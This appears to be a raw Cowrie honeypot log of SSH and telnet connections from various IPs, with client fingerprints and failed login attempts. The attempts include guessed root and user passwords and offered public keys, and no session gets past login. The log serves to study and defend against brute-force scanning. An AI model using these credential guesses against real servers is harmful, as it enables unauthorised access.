{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:8a:e2:0d:08:2b:3b:39:57:9d:73:20:d0:f1:f5:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrl91gY95D5tNs4YjOGR5YLIZsFIeujKnb0f+5uf+/j+OxLBMo7JFY9iPSK2rrN9XxGiF10PHmiXi9zxTH8Z54h/0+xEwr1nr+QfiyK1snE/R1bGsoBSQqRtG6rs7PWDnDlZxKn7LZGu0oHg7xdKjhXuwMjisSJeinlXA4+Gr8KXP+MEPqa3gD5dLfXEWYggL3whpuTJLi7PbmxnyGYWQKbFqP7TykV2K++RVvwYFPr8XOPazbxECl/cFuYO0KYLq2gQV2dUcrU4czqoqQgme7HDIPPp8IpjxJQJXQL1djt+ZEKLxKMtC0dBGG19/BwhZqjQJA270t8scOJlgb++cR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.560547Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.697671Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":53548,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1dace418e0","protocol":"ssh","message":"New connection: 46.165.56.242:53548 (159.203.135.109:22) [session: 0b1dace418e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:26.004673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:26.009690Z","src_ip":"46.165.56.242","session":"0b1dace418e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:26.168685Z","src_ip":"46.165.56.242","session":"0b1dace418e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"san123","message":"login attempt [root/san123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:27.291818Z","src_ip":"46.165.56.242","session":"0b1dace418e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:28.454249Z","src_ip":"46.165.56.242","session":"0b1dace418e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":36716,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9fe1b195f9b","protocol":"ssh","message":"New connection: 138.99.80.102:36716 (159.203.135.109:22) [session: b9fe1b195f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:39.571965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:39.576422Z","src_ip":"138.99.80.102","session":"b9fe1b195f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:39.700418Z","src_ip":"138.99.80.102","session":"b9fe1b195f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:40.190187Z","src_ip":"138.99.80.102","session":"b9fe1b195f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:41.308905Z","src_ip":"138.99.80.102","session":"b9fe1b195f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":49820,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e7d998766a","protocol":"ssh","message":"New connection: 36.95.194.51:49820 (159.203.135.109:22) [session: d8e7d998766a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:50.031502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:50.036415Z","src_ip":"36.95.194.51","session":"d8e7d998766a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:50.307015Z","src_ip":"36.95.194.51","session":"d8e7d998766a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:51.420310Z","src_ip":"36.95.194.51","session":"d8e7d998766a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:52.693735Z","src_ip":"36.95.194.51","session":"d8e7d998766a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":51434,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4adb3a8a981","protocol":"telnet","message":"New connection: 167.71.238.254:51434 (10.17.0.5:23) [session: f4adb3a8a981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:59.123998Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":35252,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea77c1e52476","protocol":"ssh","message":"New connection: 200.108.174.4:35252 (159.203.135.109:22) [session: ea77c1e52476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:22.010109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:22.014401Z","src_ip":"200.108.174.4","session":"ea77c1e52476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:22.175918Z","src_ip":"200.108.174.4","session":"ea77c1e52476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:22.841355Z","src_ip":"200.108.174.4","session":"ea77c1e52476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:24.004320Z","src_ip":"200.108.174.4","session":"ea77c1e52476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.473649740219116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.597513Z","src_ip":"167.71.238.254","session":"f4adb3a8a981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":59830,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7f851eaa8c","protocol":"ssh","message":"New connection: 167.114.156.169:59830 (10.17.0.5:22) [session: ce7f851eaa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.797409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.801871Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.819531Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:30:17:8a:b1:8a:4f:f4:85:bf:5f:8f:df:92:f8:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgj3BsDt174aUcumYfucrjEFA9uAMMTA4ntRx3FJ3G5eYO6F5IoAYdghTa/gossJsSciBRvRmvbpJc6L0JYmEZcnfG9MMxtnzLFljLyPulxpDmkthRmXrUmsKZ4iRhtj0sWt4wXUgrebOn1isf26EzGSdFhVnDt6vIwNtaRr9IA0KbKH32NgBvfGYaOh+7TSc3AiOfy1f1xJAq5HUWF53bJ/Ete+SqFBVRioqAu4p5XUVf9NNrwgG5W7hdCibhuFBisPN7PEjAGfqYvtorURdFg5aoHv/cNXxAGI+0eXLmLQu0/uwFXvd2bExBHjtgrUw932ipr7kmKp31K7airh7L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:30:17:8a:b1:8a:4f:f4:85:bf:5f:8f:df:92:f8:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.888475Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:30:17:8a:b1:8a:4f:f4:85:bf:5f:8f:df:92:f8:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgj3BsDt174aUcumYfucrjEFA9uAMMTA4ntRx3FJ3G5eYO6F5IoAYdghTa/gossJsSciBRvRmvbpJc6L0JYmEZcnfG9MMxtnzLFljLyPulxpDmkthRmXrUmsKZ4iRhtj0sWt4wXUgrebOn1isf26EzGSdFhVnDt6vIwNtaRr9IA0KbKH32NgBvfGYaOh+7TSc3AiOfy1f1xJAq5HUWF53bJ/Ete+SqFBVRioqAu4p5XUVf9NNrwgG5W7hdCibhuFBisPN7PEjAGfqYvtorURdFg5aoHv/cNXxAGI+0eXLmLQu0/uwFXvd2bExBHjtgrUw932ipr7kmKp31K7airh7L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.892016Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:03:2d:b1:79:2d:62:fb:ff:71:38:d7:6e:a6:bb:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCp/kM/DmgfuWtwZyliG8nsVKbrHMx2t26cmK84wxP5g8MKcwJIs8R8+sBwj2jag7c6HPlY/NIYu5g02uXjmKTdRL4hyqAzYpAlxT01qbv5EVZABfB59nvaUWQ8O7W6sFAyMzcMMNZ9nCiDpAsqZXV6XoN1kzVpjvyrYY+VsL/9qzuX5Rg3x954F6S6MdaSFd9xhPmYWtumnYZqoypisvOPd2K6JOKjnwGVXN7Z9Qs8iElbPUpLRiJDjQq2nMn2JmcJv1MRzbXPIUFIP/VZU2Hh48tdFRMT3AdkBiAAwo9Par1o6wFqrBKAnVT/Uhn8KxJILfhAjO8Hjk8II/m1SnJzdbBgQF5BWJf/eNB4RujhiE7aj7FEDZp+/ZRYQfUyAyfbZT7wh0ubuf47bKhp1TymbExYD7Iof1p7ZnM7m63uVc02hV1aOZarw+Cro3O1SyV5Row61s1FA/77u3Q4oN6qaWx3I753+p4engHbp2cltR+2WqPX3MX15CP2C0fZ/lk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:03:2d:b1:79:2d:62:fb:ff:71:38:d7:6e:a6:bb:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.912736Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:03:2d:b1:79:2d:62:fb:ff:71:38:d7:6e:a6:bb:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCp/kM/DmgfuWtwZyliG8nsVKbrHMx2t26cmK84wxP5g8MKcwJIs8R8+sBwj2jag7c6HPlY/NIYu5g02uXjmKTdRL4hyqAzYpAlxT01qbv5EVZABfB59nvaUWQ8O7W6sFAyMzcMMNZ9nCiDpAsqZXV6XoN1kzVpjvyrYY+VsL/9qzuX5Rg3x954F6S6MdaSFd9xhPmYWtumnYZqoypisvOPd2K6JOKjnwGVXN7Z9Qs8iElbPUpLRiJDjQq2nMn2JmcJv1MRzbXPIUFIP/VZU2Hh48tdFRMT3AdkBiAAwo9Par1o6wFqrBKAnVT/Uhn8KxJILfhAjO8Hjk8II/m1SnJzdbBgQF5BWJf/eNB4RujhiE7aj7FEDZp+/ZRYQfUyAyfbZT7wh0ubuf47bKhp1TymbExYD7Iof1p7ZnM7m63uVc02hV1aOZarw+Cro3O1SyV5Row61s1FA/77u3Q4oN6qaWx3I753+p4engHbp2cltR+2WqPX3MX15CP2C0fZ/lk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.916172Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:1f:73:a6:e8:ab:92:0b:f5:3a:9f:42:a3:04:51:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHG74JamaUN/Sq0I9k4cLGLkCHHrCwAFHTJ9domeQtaGiY5WI+bUIw+lWT7dVLaNhs0SShB/Tk6KrVjVISOns+azq9uz6xJrCnmf3+EvjTMIS26/RBEKPNmmryXFf2GjnOitOnHLOreKh1lrVnO0yB+fOxPjeGSnZ47iaw6qRrtPtZdZnJ8tlcQTkmdTnkRsi9tLN3Tco/tBQqOJS9moR+TYp4TirSZ3Qkwix6YkVRCnUO2NdPgR1m9r5oZg6ozy9xzUlM61Nopbl/muNt5i1k3X60Scmsjdnv3VofUxMY1WT1rKO7kSa8CDAj4sdz2zzF3kxcqHXrMX60ItBEcw9JWbkqSCATI6tUVIpS8sdeLrz37oH9iQW9lUqEhfhBbmsuy0UBs5udVf2t4srcoM2VZh11/RvaOIVDfW0ljgAUl9jkltKiLV0ISzUKq2oJecV6H6IMwCJJn3RpIZEAggeiK6TwOmyx1tzM2rd7bt/HiOgLr8CD8VreVVvsldNYCDcuUoFoRHk7+tNuW6pKQIxxZQTxSev5U1ECh3tHW329nMB62Hsep51fVPKvgMGcsm+YvZWsm0B2WTszcIoe5OwPdwZpI60ndqPwflh8IhFxlKoxqHQeB77UubT0c5fJVfS8aUTCSpvHhrSha/ankRL8biG9+0JqM/8OZlrjBLbT3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:1f:73:a6:e8:ab:92:0b:f5:3a:9f:42:a3:04:51:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.934488Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:1f:73:a6:e8:ab:92:0b:f5:3a:9f:42:a3:04:51:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHG74JamaUN/Sq0I9k4cLGLkCHHrCwAFHTJ9domeQtaGiY5WI+bUIw+lWT7dVLaNhs0SShB/Tk6KrVjVISOns+azq9uz6xJrCnmf3+EvjTMIS26/RBEKPNmmryXFf2GjnOitOnHLOreKh1lrVnO0yB+fOxPjeGSnZ47iaw6qRrtPtZdZnJ8tlcQTkmdTnkRsi9tLN3Tco/tBQqOJS9moR+TYp4TirSZ3Qkwix6YkVRCnUO2NdPgR1m9r5oZg6ozy9xzUlM61Nopbl/muNt5i1k3X60Scmsjdnv3VofUxMY1WT1rKO7kSa8CDAj4sdz2zzF3kxcqHXrMX60ItBEcw9JWbkqSCATI6tUVIpS8sdeLrz37oH9iQW9lUqEhfhBbmsuy0UBs5udVf2t4srcoM2VZh11/RvaOIVDfW0ljgAUl9jkltKiLV0ISzUKq2oJecV6H6IMwCJJn3RpIZEAggeiK6TwOmyx1tzM2rd7bt/HiOgLr8CD8VreVVvsldNYCDcuUoFoRHk7+tNuW6pKQIxxZQTxSev5U1ECh3tHW329nMB62Hsep51fVPKvgMGcsm+YvZWsm0B2WTszcIoe5OwPdwZpI60ndqPwflh8IhFxlKoxqHQeB77UubT0c5fJVfS8aUTCSpvHhrSha/ankRL8biG9+0JqM/8OZlrjBLbT3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.938084Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:fd:ea:af:9e:0a:d0:9b:45:66:06:90:94:80:7c:f5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRJoL+YTWCjqjpwbKEklAyqNAmIQOEp8G5dKR3XEQVo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint de:fd:ea:af:9e:0a:d0:9b:45:66:06:90:94:80:7c:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.956480Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:fd:ea:af:9e:0a:d0:9b:45:66:06:90:94:80:7c:f5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRJoL+YTWCjqjpwbKEklAyqNAmIQOEp8G5dKR3XEQVo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:38:29.960178Z","src_ip":"167.114.156.169","session":"ce7f851eaa8c","protocol":"ssh"}
